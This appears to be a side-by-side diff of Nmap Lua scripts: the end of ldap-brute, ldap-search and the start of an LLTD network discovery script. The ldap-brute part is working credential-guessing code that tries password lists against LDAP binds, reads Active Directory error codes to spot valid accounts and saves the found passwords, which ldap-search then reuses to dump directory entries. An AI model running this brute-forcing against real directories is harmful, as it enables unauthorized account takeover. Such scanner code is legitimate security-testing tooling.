local req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } } local req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
local status, searchResEntries = ldap.searchRequest( socket, req ) local status, searchResEntries = ldap.searchRequest( socket, req )
if not status then if not status then
return nil return nil
end end
local contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" ) local contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
-- OpenLDAP does not have a defaultNamingContext -- OpenLDAP does not have a defaultNamingContext
if not contexts then if not contexts then
contexts = ldap.extractAttribute( searchResEntries, "namingContexts" ) contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
end end
if contexts and #contexts > 0 then if contexts and #contexts > 0 then
return contexts[1] return contexts[1]
end end
return nil return nil
end end
--- Attempts to validate the credentials by requesting the base object of the supplied context --- Attempts to validate the credentials by requesting the base object of the supplied context
@@ -125,194 +125,194 @@ end
-- @param context string containing the context to search -- @param context string containing the context to search
-- @return true if credentials are valid and search was a success, false if not. -- @return true if credentials are valid and search was a success, false if not.
function is_valid_credential( socket, context ) function is_valid_credential( socket, context )
local req = { baseObject = context, scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = nil } local req = { baseObject = context, scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = nil }
local status, searchResEntries = ldap.searchRequest( socket, req ) local status, searchResEntries = ldap.searchRequest( socket, req )
return status return status
end end
action = function( host, port ) action = function( host, port )
local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {} local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {}
local usernames, passwords, username, password, fq_username local usernames, passwords, username, password, fq_username
local user_cnt, invalid_account_cnt, tot_tries = 0, 0, 0 local user_cnt, invalid_account_cnt, tot_tries = 0, 0, 0
local clock_start = nmap.clock_ms() local clock_start = nmap.clock_ms()
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) local socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
local base_dn = stdnse.get_script_args('ldap.base') local base_dn = stdnse.get_script_args('ldap.base')
local upn_suffix = stdnse.get_script_args('ldap.upnsuffix') local upn_suffix = stdnse.get_script_args('ldap.upnsuffix')
local output_type = stdnse.get_script_args('ldap.savetype') local output_type = stdnse.get_script_args('ldap.savetype')
local output_prefix = nil local output_prefix = nil
if ( stdnse.get_script_args('ldap.saveprefix') ) then if ( stdnse.get_script_args('ldap.saveprefix') ) then
output_prefix = stdnse.get_script_args('ldap.saveprefix') output_prefix = stdnse.get_script_args('ldap.saveprefix')
elseif ( output_type ) then elseif ( output_type ) then
output_prefix = "ldap-brute" output_prefix = "ldap-brute"
end end
local credTable = creds.Credentials:new(SCRIPT_NAME, host, port) local credTable = creds.Credentials:new(SCRIPT_NAME, host, port)
if not socket then if not socket then
return return
end end
-- We close and re-open the socket so that the anonymous bind does not distract us -- We close and re-open the socket so that the anonymous bind does not distract us
socket:close() socket:close()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
status = socket:connect(host, port, opt) status = socket:connect(host, port, opt)
if not status then if not status then
return return
end end
context = get_naming_context(socket) context = get_naming_context(socket)
if not context then if not context then
stdnse.print_debug("Failed to retrieve namingContext") stdnse.print_debug("Failed to retrieve namingContext")
socket:close() socket:close()
return return
end end
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if not status then if not status then
return return
end end
status, passwords = unpwdb.passwords() status, passwords = unpwdb.passwords()
if not status then if not status then
return return
end end
for username in usernames do for username in usernames do
-- if a base DN was set append our username (CN) to the base -- if a base DN was set append our username (CN) to the base
if base_dn then if base_dn then
fq_username = ("cn=%s,%s"):format(username, base_dn) fq_username = ("cn=%s,%s"):format(username, base_dn)
elseif upn_suffix then elseif upn_suffix then
fq_username = ("%s@%s"):format(username, upn_suffix) fq_username = ("%s@%s"):format(username, upn_suffix)
else else
fq_username = username fq_username = username
end end
user_cnt = user_cnt + 1 user_cnt = user_cnt + 1
for password in passwords do for password in passwords do
tot_tries = tot_tries + 1 tot_tries = tot_tries + 1
-- handle special case where we want to guess the username as password -- handle special case where we want to guess the username as password
if password == "%username%" then if password == "%username%" then
password = username password = username
end end
stdnse.print_debug( "Trying %s/%s ...", fq_username, password ) stdnse.print_debug( "Trying %s/%s ...", fq_username, password )
status, response = ldap.bindRequest( socket, { version=3, ['username']=fq_username, ['password']=password} ) status, response = ldap.bindRequest( socket, { version=3, ['username']=fq_username, ['password']=password} )
-- if the DN (username) does not exist, break loop -- if the DN (username) does not exist, break loop
if not status and response:match("invalid DN") then if not status and response:match("invalid DN") then
stdnse.print_debug( "%s returned: \"Invalid DN\"", fq_username ) stdnse.print_debug( "%s returned: \"Invalid DN\"", fq_username )
invalid_account_cnt = invalid_account_cnt + 1 invalid_account_cnt = invalid_account_cnt + 1
break break
end end
-- Is AD telling us the account does not exist? -- Is AD telling us the account does not exist?
if not status and response:match("AcceptSecurityContext error, data 525,") then if not status and response:match("AcceptSecurityContext error, data 525,") then
invalid_account_cnt = invalid_account_cnt + 1 invalid_account_cnt = invalid_account_cnt + 1
break break
end end
-- Account Locked Out -- Account Locked Out
if not status and response:match("AcceptSecurityContext error, data 775,") then if not status and response:match("AcceptSecurityContext error, data 775,") then
table.insert( valid_accounts, string.format("%s => Valid credentials, account locked", fq_username ) ) table.insert( valid_accounts, string.format("%s => Valid credentials, account locked", fq_username ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s => Valid credentials, account locked", fq_username )) stdnse.print_verbose(2, string.format(" ldap-brute: %s => Valid credentials, account locked", fq_username ))
credTable:add(fq_username,password, creds.State.LOCKED_VALID) credTable:add(fq_username,password, creds.State.LOCKED_VALID)
break break
end end
-- Login correct, account disabled -- Login correct, account disabled
if not status and response:match("AcceptSecurityContext error, data 533,") then if not status and response:match("AcceptSecurityContext error, data 533,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" )) stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.DISABLED_VALID) credTable:add(fq_username,password, creds.State.DISABLED_VALID)
break break
end end
-- Login correct, user must change password -- Login correct, user must change password
if not status and response:match("AcceptSecurityContext error, data 773,") then if not status and response:match("AcceptSecurityContext error, data 773,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" )) stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.CHANGEPW) credTable:add(fq_username,password, creds.State.CHANGEPW)
break break
end end
-- Login correct, user account expired -- Login correct, user account expired
if not status and response:match("AcceptSecurityContext error, data 701,") then if not status and response:match("AcceptSecurityContext error, data 701,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" )) stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.EXPIRED) credTable:add(fq_username,password, creds.State.EXPIRED)
break break
end end
-- Login correct, user account logon time restricted -- Login correct, user account logon time restricted
if not status and response:match("AcceptSecurityContext error, data 530,") then if not status and response:match("AcceptSecurityContext error, data 530,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" )) stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.TIME_RESTRICTED) credTable:add(fq_username,password, creds.State.TIME_RESTRICTED)
break break
end end
-- Login correct, user account can only log in from certain workstations -- Login correct, user account can only log in from certain workstations
if not status and response:match("AcceptSecurityContext error, data 531,") then if not status and response:match("AcceptSecurityContext error, data 531,") then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" )) stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ))
credTable:add(fq_username,password, creds.State.HOST_RESTRICTED) credTable:add(fq_username,password, creds.State.HOST_RESTRICTED)
break break
end end
--Login, correct --Login, correct
if status then if status then
status = is_valid_credential( socket, context ) status = is_valid_credential( socket, context )
if status then if status then
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) ) table.insert( valid_accounts, string.format("%s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) ) stdnse.print_verbose(2, string.format(" ldap-brute: %s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
-- Add credentials for other ldap scripts to use -- Add credentials for other ldap scripts to use
if nmap.registry.ldapaccounts == nil then if nmap.registry.ldapaccounts == nil then
nmap.registry.ldapaccounts = {} nmap.registry.ldapaccounts = {}
end end
nmap.registry.ldapaccounts[fq_username]=password nmap.registry.ldapaccounts[fq_username]=password
credTable:add(fq_username,password, creds.State.VALID) credTable:add(fq_username,password, creds.State.VALID)
break break
end end
end end
end end
passwords("reset") passwords("reset")
end end
stdnse.print_debug( "Finished brute against LDAP, total tries: %d, tps: %d", tot_tries, ( tot_tries / ( ( nmap.clock_ms() - clock_start ) / 1000 ) ) ) stdnse.print_debug( "Finished brute against LDAP, total tries: %d, tps: %d", tot_tries, ( tot_tries / ( ( nmap.clock_ms() - clock_start ) / 1000 ) ) )
if ( invalid_account_cnt == user_cnt and base_dn ~= nil ) then if ( invalid_account_cnt == user_cnt and base_dn ~= nil ) then
return "WARNING: All usernames were invalid. Invalid LDAP base?" return "WARNING: All usernames were invalid. Invalid LDAP base?"
end end
if output_prefix then if output_prefix then
local output_file = output_prefix .. "_" .. host.ip .. "_" .. port.number local output_file = output_prefix .. "_" .. host.ip .. "_" .. port.number
status, err = credTable:saveToFile(output_file,output_type) status, err = credTable:saveToFile(output_file,output_type)
if not status then if not status then
stdnse.print_debug(err) stdnse.print_debug(err)
end end
end end
if err then if err then
output = stdnse.format_output(true, valid_accounts ) .. stdnse.format_output(true, err) or stdnse.format_output(true, err) output = stdnse.format_output(true, valid_accounts ) .. stdnse.format_output(true, err) or stdnse.format_output(true, err)
else else
output = stdnse.format_output(true, valid_accounts) or "" output = stdnse.format_output(true, valid_accounts) or ""
end end
return output return output
end end

View File

@@ -103,198 +103,198 @@ portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
function action(host,port) function action(host,port)
local status local status
local socket, opt local socket, opt
local args = nmap.registry.args local args = nmap.registry.args
local username = stdnse.get_script_args('ldap.username') local username = stdnse.get_script_args('ldap.username')
local password = stdnse.get_script_args('ldap.password') local password = stdnse.get_script_args('ldap.password')
local qfilter = stdnse.get_script_args('ldap.qfilter') local qfilter = stdnse.get_script_args('ldap.qfilter')
local searchAttrib = stdnse.get_script_args('ldap.searchattrib') local searchAttrib = stdnse.get_script_args('ldap.searchattrib')
local searchValue = stdnse.get_script_args('ldap.searchvalue') local searchValue = stdnse.get_script_args('ldap.searchvalue')
local base = stdnse.get_script_args('ldap.base') local base = stdnse.get_script_args('ldap.base')
local attribs = stdnse.get_script_args('ldap.attrib') local attribs = stdnse.get_script_args('ldap.attrib')
local saveFile = stdnse.get_script_args('ldap.savesearch') local saveFile = stdnse.get_script_args('ldap.savesearch')
local accounts local accounts
local objCount = 0 local objCount = 0
local maxObjects = stdnse.get_script_args('ldap.maxobjects') and tonumber(stdnse.get_script_args('ldap.maxobjects')) or 20 local maxObjects = stdnse.get_script_args('ldap.maxobjects') and tonumber(stdnse.get_script_args('ldap.maxobjects')) or 20
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server -- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
-- An anonymous bind should do it -- An anonymous bind should do it
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 ) local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
local _ local _
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil ) socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
if not socket then if not socket then
return return
end end
-- Check if ldap-brute stored us some credentials -- Check if ldap-brute stored us some credentials
if ( not(username) and nmap.registry.ldapaccounts~=nil ) then if ( not(username) and nmap.registry.ldapaccounts~=nil ) then
accounts = nmap.registry.ldapaccounts accounts = nmap.registry.ldapaccounts
end end
-- We close and re-open the socket so that the anonymous bind does not distract us -- We close and re-open the socket so that the anonymous bind does not distract us
socket:close() socket:close()
status = socket:connect(host, port, opt) status = socket:connect(host, port, opt)
socket:set_timeout(10000) socket:set_timeout(10000)
local req local req
local searchResEntries local searchResEntries
local contexts = {} local contexts = {}
local result = {} local result = {}
local filter local filter
if base == nil then if base == nil then
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } } req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
status, searchResEntries = ldap.searchRequest( socket, req ) status, searchResEntries = ldap.searchRequest( socket, req )
if not status then if not status then
socket:close() socket:close()
return return
end end
contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" ) contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
-- OpenLDAP does not have a defaultNamingContext -- OpenLDAP does not have a defaultNamingContext
if not contexts then if not contexts then
contexts = ldap.extractAttribute( searchResEntries, "namingContexts" ) contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
end end
else else
table.insert(contexts, base) table.insert(contexts, base)
end end
if ( not(contexts) or #contexts == 0 ) then if ( not(contexts) or #contexts == 0 ) then
stdnse.print_debug( "Failed to retrieve namingContexts" ) stdnse.print_debug( "Failed to retrieve namingContexts" )
contexts = {""} contexts = {""}
end end
-- perform a bind only if we have valid credentials -- perform a bind only if we have valid credentials
if ( username ) then if ( username ) then
local bindParam = { version=3, ['username']=username, ['password']=password} local bindParam = { version=3, ['username']=username, ['password']=password}
local status, errmsg = ldap.bindRequest( socket, bindParam ) local status, errmsg = ldap.bindRequest( socket, bindParam )
if not status then if not status then
stdnse.print_debug( string.format("ldap-search failed to bind: %s", errmsg) ) stdnse.print_debug( string.format("ldap-search failed to bind: %s", errmsg) )
return " \n ERROR: Authentication failed" return " \n ERROR: Authentication failed"
end end
-- or if ldap-brute found us something -- or if ldap-brute found us something
elseif ( accounts ) then elseif ( accounts ) then
for username, password in pairs(accounts) do for username, password in pairs(accounts) do
local bindParam = { version=3, ['username']=username, ['password']=password} local bindParam = { version=3, ['username']=username, ['password']=password}
local status, errmsg = ldap.bindRequest( socket, bindParam ) local status, errmsg = ldap.bindRequest( socket, bindParam )
if status then if status then
break break
end end
end end
end end
if qfilter == "users" then if qfilter == "users" then
filter = { op=ldap.FILTER._or, val= filter = { op=ldap.FILTER._or, val=
{ {
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' }, { op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' },
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='posixAccount' }, { op=ldap.FILTER.equalityMatch, obj='objectClass', val='posixAccount' },
{ op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' } { op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' }
} }
} }
elseif qfilter == "computers" or qfilter == "computer" then elseif qfilter == "computers" or qfilter == "computer" then
filter = { op=ldap.FILTER.equalityMatch, obj='objectClass', val='computer' } filter = { op=ldap.FILTER.equalityMatch, obj='objectClass', val='computer' }
elseif qfilter == "ad_dcs" then elseif qfilter == "ad_dcs" then
filter = { op=ldap.FILTER.extensibleMatch, obj='userAccountControl', val='1.2.840.113556.1.4.803:=8192' } filter = { op=ldap.FILTER.extensibleMatch, obj='userAccountControl', val='1.2.840.113556.1.4.803:=8192' }
elseif qfilter == "custom" then elseif qfilter == "custom" then
if searchAttrib == nil or searchValue == nil then if searchAttrib == nil or searchValue == nil then
return "\n\nERROR: Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter." return "\n\nERROR: Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter."
end end
if string.find(searchValue, '*') == nil then if string.find(searchValue, '*') == nil then
filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue } filter = { op=ldap.FILTER.equalityMatch, obj=searchAttrib, val=searchValue }
else else
filter = { op=ldap.FILTER.substrings, obj=searchAttrib, val=searchValue } filter = { op=ldap.FILTER.substrings, obj=searchAttrib, val=searchValue }
end end
elseif qfilter == "all" or qfilter == nil then elseif qfilter == "all" or qfilter == nil then
filter = nil -- { op=ldap.FILTER} filter = nil -- { op=ldap.FILTER}
else else
return " \n\nERROR: Unsupported Quick Filter: " .. qfilter return " \n\nERROR: Unsupported Quick Filter: " .. qfilter
end end
if type(attribs) == 'string' then if type(attribs) == 'string' then
local tmp = attribs local tmp = attribs
attribs = {} attribs = {}
table.insert(attribs, tmp) table.insert(attribs, tmp)
end end
for _, context in ipairs(contexts) do for _, context in ipairs(contexts) do
req = { req = {
baseObject = context, baseObject = context,
scope = ldap.SCOPE.sub, scope = ldap.SCOPE.sub,
derefPolicy = ldap.DEREFPOLICY.default, derefPolicy = ldap.DEREFPOLICY.default,
filter = filter, filter = filter,
attributes = attribs, attributes = attribs,
['maxObjects'] = maxObjects } ['maxObjects'] = maxObjects }
status, searchResEntries = ldap.searchRequest( socket, req ) status, searchResEntries = ldap.searchRequest( socket, req )
if not status then if not status then
if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then
return "ERROR: Failed to bind as the anonymous user" return "ERROR: Failed to bind as the anonymous user"
else else
stdnse.print_debug( string.format( "ldap.searchRequest returned: %s", searchResEntries ) ) stdnse.print_debug( string.format( "ldap.searchRequest returned: %s", searchResEntries ) )
return return
end end
end end
local result_part = ldap.searchResultToTable( searchResEntries ) local result_part = ldap.searchResultToTable( searchResEntries )
if saveFile then if saveFile then
local output_file = saveFile .. "_" .. host.ip .. "_" .. port.number .. ".csv" local output_file = saveFile .. "_" .. host.ip .. "_" .. port.number .. ".csv"
local save_status, save_err = ldap.searchResultToFile(searchResEntries,output_file) local save_status, save_err = ldap.searchResultToFile(searchResEntries,output_file)
if not save_status then if not save_status then
stdnse.print_debug(save_err) stdnse.print_debug(save_err)
end end
end end
objCount = objCount + (result_part and #result_part or 0) objCount = objCount + (result_part and #result_part or 0)
result_part.name = "" result_part.name = ""
if ( context ) then if ( context ) then
result_part.name = ("Context: %s"):format(#context > 0 and context or "<empty>") result_part.name = ("Context: %s"):format(#context > 0 and context or "<empty>")
end end
if ( qfilter ) then if ( qfilter ) then
result_part.name = result_part.name .. ("; QFilter: %s"):format(qfilter) result_part.name = result_part.name .. ("; QFilter: %s"):format(qfilter)
end end
if ( attribs ) then if ( attribs ) then
result_part.name = result_part.name .. ("; Attributes: %s"):format(stdnse.strjoin(",", attribs)) result_part.name = result_part.name .. ("; Attributes: %s"):format(stdnse.strjoin(",", attribs))
end end
table.insert( result, result_part ) table.insert( result, result_part )
-- catch any softerrors -- catch any softerrors
if searchResEntries.resultCode ~= 0 then if searchResEntries.resultCode ~= 0 then
local output = stdnse.format_output(true, result ) local output = stdnse.format_output(true, result )
output = output .. string.format("\n\n\n=========== %s ===========", searchResEntries.errorMessage ) output = output .. string.format("\n\n\n=========== %s ===========", searchResEntries.errorMessage )
return output return output
end end
end end
-- perform a unbind only if we have valid credentials -- perform a unbind only if we have valid credentials
if ( username ) then if ( username ) then
status = ldap.unbindRequest( socket ) status = ldap.unbindRequest( socket )
end end
socket:close() socket:close()
-- if taken a way and ldap returns a single result, it ain't shown.... -- if taken a way and ldap returns a single result, it ain't shown....
--result.name = "LDAP Results" --result.name = "LDAP Results"
local output = stdnse.format_output(true, result ) local output = stdnse.format_output(true, result )
if ( maxObjects ~= -1 and objCount == maxObjects ) then if ( maxObjects ~= -1 and objCount == maxObjects ) then
output = output .. ("\n\nResult limited to %d objects (see ldap.maxobjects)"):format(maxObjects) output = output .. ("\n\nResult limited to %d objects (see ldap.maxobjects)"):format(maxObjects)
end end
return output return output
end end

View File

@@ -45,296 +45,296 @@ categories = {"broadcast","discovery","safe"}
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end end
nmap.registry[SCRIPT_NAME].rootfail = true nmap.registry[SCRIPT_NAME].rootfail = true
return nil return nil
end end
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
--- Converts a 6 byte string into the familiar MAC address formatting --- Converts a 6 byte string into the familiar MAC address formatting
-- @param mac string containing the MAC address -- @param mac string containing the MAC address
-- @return formatted string suitable for printing -- @return formatted string suitable for printing
local function get_mac_addr( mac ) local function get_mac_addr( mac )
local catch = function() return end local catch = function() return end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes()) local mac_prefixes = try(datafiles.parse_mac_prefixes())
if mac:len() ~= 6 then if mac:len() ~= 6 then
return "Unknown" return "Unknown"
else else
local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3))) local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
local manuf = mac_prefixes[prefix] or "Unknown" local manuf = mac_prefixes[prefix] or "Unknown"
return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf ) return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
end end
end end
--- Gets a raw ethernet buffer with LLTD information and returns the responding host's IP and MAC --- Gets a raw ethernet buffer with LLTD information and returns the responding host's IP and MAC
local parseHello = function(data) local parseHello = function(data)
-- HelloMsg = [ -- HelloMsg = [
-- ethernet_hdr = [mac_dst(6), mac_src(6), protocol(2)], -- ethernet_hdr = [mac_dst(6), mac_src(6), protocol(2)],
-- lltd_demultiplex_hdr = [version(1), type_of_service(1), reserved(1), function(1)], -- lltd_demultiplex_hdr = [version(1), type_of_service(1), reserved(1), function(1)],
-- base_hdr = [mac_dst(6), mac_src(6), seq_no(2)], -- base_hdr = [mac_dst(6), mac_src(6), seq_no(2)],
-- up_hello_hdr = [ generation_number(2), current_mapper_address(6), apparent_mapper_address(6), tlv_list(var) ] -- up_hello_hdr = [ generation_number(2), current_mapper_address(6), apparent_mapper_address(6), tlv_list(var) ]
--] --]
--HelloStruct = { --HelloStruct = {
-- mac_src, -- mac_src,
-- sequence_number, -- sequence_number,
-- generation_number, -- generation_number,
-- tlv_list(dict) -- tlv_list(dict)
--} --}
local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID", local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID",
"802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate", "802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate",
"Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name", "Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name",
"Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics", "Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics",
"802.11 Physical Medium", "AP Association Table", "Detailed Icon Image", "Sees-List Working Set", "802.11 Physical Medium", "AP Association Table", "Detailed Icon Image", "Sees-List Working Set",
"Component Table", "Repeater AP Lineage", "Repeater AP Table"} "Component Table", "Repeater AP Lineage", "Repeater AP Table"}
local mac = nil local mac = nil
local ipv4 = nil local ipv4 = nil
local ipv6 = nil local ipv6 = nil
local hostname = nil local hostname = nil
local pos = 1 local pos = 1
pos = pos + 6 pos = pos + 6
local mac_src = data:sub(pos,pos+5) local mac_src = data:sub(pos,pos+5)
pos = pos + 24 pos = pos + 24
local seq_no = data:sub(pos,pos+1) local seq_no = data:sub(pos,pos+1)
pos = pos + 2 pos = pos + 2
local generation_no = data:sub(pos,pos+1) local generation_no = data:sub(pos,pos+1)
pos = pos + 14 pos = pos + 14
local tlv = data:sub(pos) local tlv = data:sub(pos)
local tlv_list = {} local tlv_list = {}
local p = 1 local p = 1
while p < #tlv do while p < #tlv do
local t = tlv:byte(p) local t = tlv:byte(p)
if t == 0x00 then if t == 0x00 then
break break
else else
p = p + 1 p = p + 1
local l = tlv:byte(p) local l = tlv:byte(p)
p = p + 1 p = p + 1
local v = tlv:sub(p,p+l) local v = tlv:sub(p,p+l)
if t == 0x01 then if t == 0x01 then
-- Host ID (MAC Address) -- Host ID (MAC Address)
mac = get_mac_addr(v:sub(1,6)) mac = get_mac_addr(v:sub(1,6))
elseif t == 0x08 then elseif t == 0x08 then
ipv6 = string.format( ipv6 = string.format(
"%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x", "%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x",
v:byte(1), v:byte(2), v:byte(3), v:byte(4), v:byte(1), v:byte(2), v:byte(3), v:byte(4),
v:byte(5), v:byte(6), v:byte(7), v:byte(8), v:byte(5), v:byte(6), v:byte(7), v:byte(8),
v:byte(9), v:byte(10), v:byte(11), v:byte(12), v:byte(9), v:byte(10), v:byte(11), v:byte(12),
v:byte(13), v:byte(14), v:byte(15), v:byte(16)) v:byte(13), v:byte(14), v:byte(15), v:byte(16))
elseif t == 0x07 then elseif t == 0x07 then
-- IPv4 address -- IPv4 address
ipv4 = string.format("%d.%d.%d.%d",v:byte(1),v:byte(2),v:byte(3),v:byte(4)), mac ipv4 = string.format("%d.%d.%d.%d",v:byte(1),v:byte(2),v:byte(3),v:byte(4)), mac
-- Machine Name (Hostname) -- Machine Name (Hostname)
elseif t == 0x0f then elseif t == 0x0f then
hostname = '' hostname = ''
-- Hostname is returned in unicode, but Lua doesn't support that, -- Hostname is returned in unicode, but Lua doesn't support that,
-- so we skip 00 values. -- so we skip 00 values.
for i=1, #v-1, 2 do for i=1, #v-1, 2 do
hostname = hostname .. string.char(v:byte(i)) hostname = hostname .. string.char(v:byte(i))
end end
end end
p = p + l p = p + l
if ipv4 and ipv6 and mac and hostname then if ipv4 and ipv6 and mac and hostname then
break break
end end
end end
end end
return ipv4, mac, ipv6, hostname return ipv4, mac, ipv6, hostname
end end
--- Creates an LLTD Quick Discovery packet with the source MAC address --- Creates an LLTD Quick Discovery packet with the source MAC address
-- @param mac_src - six byte long binary string -- @param mac_src - six byte long binary string
local QuickDiscoveryPacket = function(mac_src) local QuickDiscoveryPacket = function(mac_src)
